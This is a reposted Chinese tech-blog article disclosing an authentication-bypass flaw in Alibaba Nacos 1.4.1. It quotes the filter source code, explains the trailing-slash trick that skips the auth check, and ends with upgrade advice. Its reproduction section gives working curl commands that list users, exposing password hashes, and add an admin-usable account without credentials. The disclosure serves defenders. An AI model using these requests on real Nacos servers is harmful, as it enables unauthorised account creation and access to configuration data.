阿里 Nacos 惊爆安全漏洞,火速升级!
发布日期:2021-06-30 12:57:05 浏览次数:3 分类:技术文章

本文共 7122 字,大约阅读时间需要 23 分钟。

Java技术栈

www.javastack.cn

关注阅读更多优质文章

漏洞来源:github.com/alibaba/nacos/issues/4701

我发现nacos最新版本1.4.1对于User-Agent绕过安全漏洞的serverIdentity key-value修复机制,依然存在绕过问题,在nacos开启了serverIdentity的自定义key-value鉴权后,通过特殊的url构造,依然能绕过限制访问任何http接口。

通过查看该功能,需要在application.properties添加配置,才能避免User-Agent: Nacos-Server绕过鉴权的安全问题。

但在开启该机制后,我从代码中发现,任然可以在某种情况下绕过,使之失效,调用任何接口,通过该漏洞,我可以绕过鉴权,做到:

调用添加用户接口,添加新用户(),然后使用新添加的用户登录console,访问、修改、添加数据。

一、漏洞详情

问题主要出现在com.alibaba.nacos.core.auth.AuthFilter#doFilter:

public class AuthFilter implements Filter {    @Autowired    private AuthConfigs authConfigs;    @Autowired    private AuthManager authManager;    @Autowired    private ControllerMethodsCache methodsCache;    private Map
, ResourceParser> parserInstance = new ConcurrentHashMap<>();    @Override    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)            throws IOException, ServletException {        if (!authConfigs.isAuthEnabled()) {            chain.doFilter(request, response);            return;        }        HttpServletRequest req = (HttpServletRequest) request;        HttpServletResponse resp = (HttpServletResponse) response;        if (authConfigs.isEnableUserAgentAuthWhite()) {            String userAgent = WebUtils.getUserAgent(req);            if (StringUtils.startsWith(userAgent, Constants.NACOS_SERVER_HEADER)) {                chain.doFilter(request, response);                return;            }        } else if (StringUtils.isNotBlank(authConfigs.getServerIdentityKey()) && StringUtils                .isNotBlank(authConfigs.getServerIdentityValue())) {            String serverIdentity = req.getHeader(authConfigs.getServerIdentityKey());            if (authConfigs.getServerIdentityValue().equals(serverIdentity)) {                chain.doFilter(request, response);                return;            }            Loggers.AUTH.warn("Invalid server identity value for {} from {}", authConfigs.getServerIdentityKey(),                    req.getRemoteHost());        } else {            resp.sendError(HttpServletResponse.SC_FORBIDDEN,                    "Invalid server identity key or value, Please make sure set `nacos.core.auth.server.identity.key`"                            + " and `nacos.core.auth.server.identity.value`, or open `nacos.core.auth.enable.userAgentAuthWhite`");            return;        }        try {            Method method = methodsCache.getMethod(req);            if (method == null) {                chain.doFilter(request, response);                return;            }            ...鉴权代码        }        ...    }    ...}

可以看到,上面三个if else分支:

第一个是authConfigs.isEnableUserAgentAuthWhite(),它默认值为true,当值为true时,会判断请求头User-Agent是否匹配User-Agent: Nacos-Server,若匹配,则跳过后续所有逻辑,执行chain.doFilter(request, response);

第二个是,也就是nacos 1.4.1版本对于User-Agent: Nacos-Server安全问题的简单修复

第三个是,当前面两个条件都不符合时,对请求直接作出拒绝访问的响应

问题出现在第二个分支,可以看到,当nacos的开发者在application.properties添加配置nacos.core.auth.enable.userAgentAuthWhite:false,开启该key-value简单鉴权机制后,会根据开发者配置的nacos.core.auth.server.identity.key去http header中获取一个value,去跟开发者配置的nacos.core.auth.server.identity.value进行匹配,若不匹配,则不进入分支执行:

if (authConfigs.getServerIdentityValue().equals(serverIdentity)) {    chain.doFilter(request, response);    return;}

但问题恰恰就出在这里,这里的逻辑理应是在不匹配时,直接返回拒绝访问,而实际上并没有这样做,这就让我们后续去绕过提供了条件。

推荐阅读:。

再往下看,代码来到:

Method method = methodsCache.getMethod(req);if (method == null) {    chain.doFilter(request, response);    return;}...鉴权代码

可以看到,这里有一个判断method == null,只要满足这个条件,就不会走到后续的鉴权代码。

通过查看methodsCache.getMethod(req)代码实现,我发现了一个方法,可以使之返回的method为null

com.alibaba.nacos.core.code.ControllerMethodsCache#getMethod

public Method getMethod(HttpServletRequest request) {    String path = getPath(request);    if (path == null) {        return null;    }    String httpMethod = request.getMethod();    String urlKey = httpMethod + REQUEST_PATH_SEPARATOR + path.replaceFirst(EnvUtil.getContextPath(), "");    List
 requestMappingInfos = urlLookup.get(urlKey);    if (CollectionUtils.isEmpty(requestMappingInfos)) {        return null;    }    List
 matchedInfo = findMatchedInfo(requestMappingInfos, request);    if (CollectionUtils.isEmpty(matchedInfo)) {        return null;    }    RequestMappingInfo bestMatch = matchedInfo.get(0);    if (matchedInfo.size() > 1) {        RequestMappingInfoComparator comparator = new RequestMappingInfoComparator();        matchedInfo.sort(comparator);        bestMatch = matchedInfo.get(0);        RequestMappingInfo secondBestMatch = matchedInfo.get(1);        if (comparator.compare(bestMatch, secondBestMatch) == 0) {            throw new IllegalStateException(                    "Ambiguous methods mapped for '" + request.getRequestURI() + "': {" + bestMatch + ", "                            + secondBestMatch + "}");        }    }    return methods.get(bestMatch);}private String getPath(HttpServletRequest request) {    String path = null;    try {        path = new URI(request.getRequestURI()).getPath();    } catch (URISyntaxException e) {        LOGGER.error("parse request to path error", e);    }    return path;}

这个代码里面,可以很明确的看到,method值的返回,取决于

String urlKey = httpMethod + REQUEST_PATH_SEPARATOR + path.replaceFirst(EnvUtil.getContextPath(), "");List
 requestMappingInfos = urlLookup.get(urlKey);

urlKey这个key,是否能从urlLookup这个ConcurrentHashMap中获取到映射值

而urlKey的组成中,存在着path这一部分,而这一部分的生成,恰恰存在着问题,它是通过如下方式获得的:

new URI(request.getRequestURI()).getPath()

一个正常的访问,比如curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test',得到的path将会是/nacos/v1/auth/users,而通过特殊构造的url,比如,得到的path将会是/nacos/v1/auth/users/

通过该方式,将能控制该path多一个末尾的斜杆'/',导致从urlLookup这个ConcurrentHashMap中获取不到method,为什么呢,因为nacos基本全部的RequestMapping都没有以斜杆'/'结尾,只有非斜杆'/'结尾的RequestMapping存在并存入了urlLookup这个ConcurrentHashMap,那么,最外层的method == null条件将能满足,从而,绕过该鉴权机制。

二、漏洞影响范围

影响范围:1.4.1

三、漏洞复现

访问用户列表接口

curl XGET 'http://127.0.0.1:8848/nacos/v1/auth/users/?pageNo=1&pageSize=9'

可以看到,绕过了鉴权,返回了用户列表数据

{    "totalCount": 1,    "pageNumber": 1,    "pagesAvailable": 1,    "pageItems": [        {            "username": "nacos",            "password": "$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"        }    ]}

添加新用户

curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test'

可以看到,绕过了鉴权,添加了新用户

{    "code":200,    "message":"create user ok!",    "data":null}

再次查看用户列表

curl XGET 'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9'

可以看到,返回的用户列表数据中,多了一个我们通过绕过鉴权创建的新用户

{    "totalCount": 2,    "pageNumber": 1,    "pagesAvailable": 1,    "pageItems": [        {            "username": "nacos",            "password": "$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"        },        {            "username": "test",            "password": "$2a$10$5Z1Kbm99AbBFN7y8Dd3.V.UGmeJX8nWKG47aPXXMuupC7kLe8lKIu"        }    ]}

访问首页http://127.0.0.1:8848/nacos/,登录新账号,可以做任何事情

regards, threedr3am

三、 修复建议

2021年1月14日 Nacos 1.4.1刚发布,会直接在1.4.1进行hotfix。

请用户直接下载最新的1.4.1版本进行部署升级。

https://github.com/alibaba/nacos/releases/tag/1.4.1

最后,关注公众号Java技术栈,在后台回复:面试,可以获取我整理的 Java 系列面试题和答案,非常齐全。

关注Java技术栈看更多干货

戳原文,获取精选面试题!

转载地址:https://javastack.blog.csdn.net/article/details/113065099 如侵犯您的版权,请留言回复原文章的地址,我们会给您删除此文章,给您带来不便请您谅解!

上一篇:你还在用命令看日志?快用 Kibana 吧,一张图片胜过千万行日志!
下一篇:2021 年 Web 开发的 7 大趋势,我只能说牛逼!

发表评论

最新留言

路过,博主的博客真漂亮。。
[***.116.15.85]2024年04月29日 07时32分16秒

关于作者

    喝酒易醉,品茶养心,人生如梦,品茶悟道,何以解忧?唯有杜康!
-- 愿君每日到此一游!

推荐文章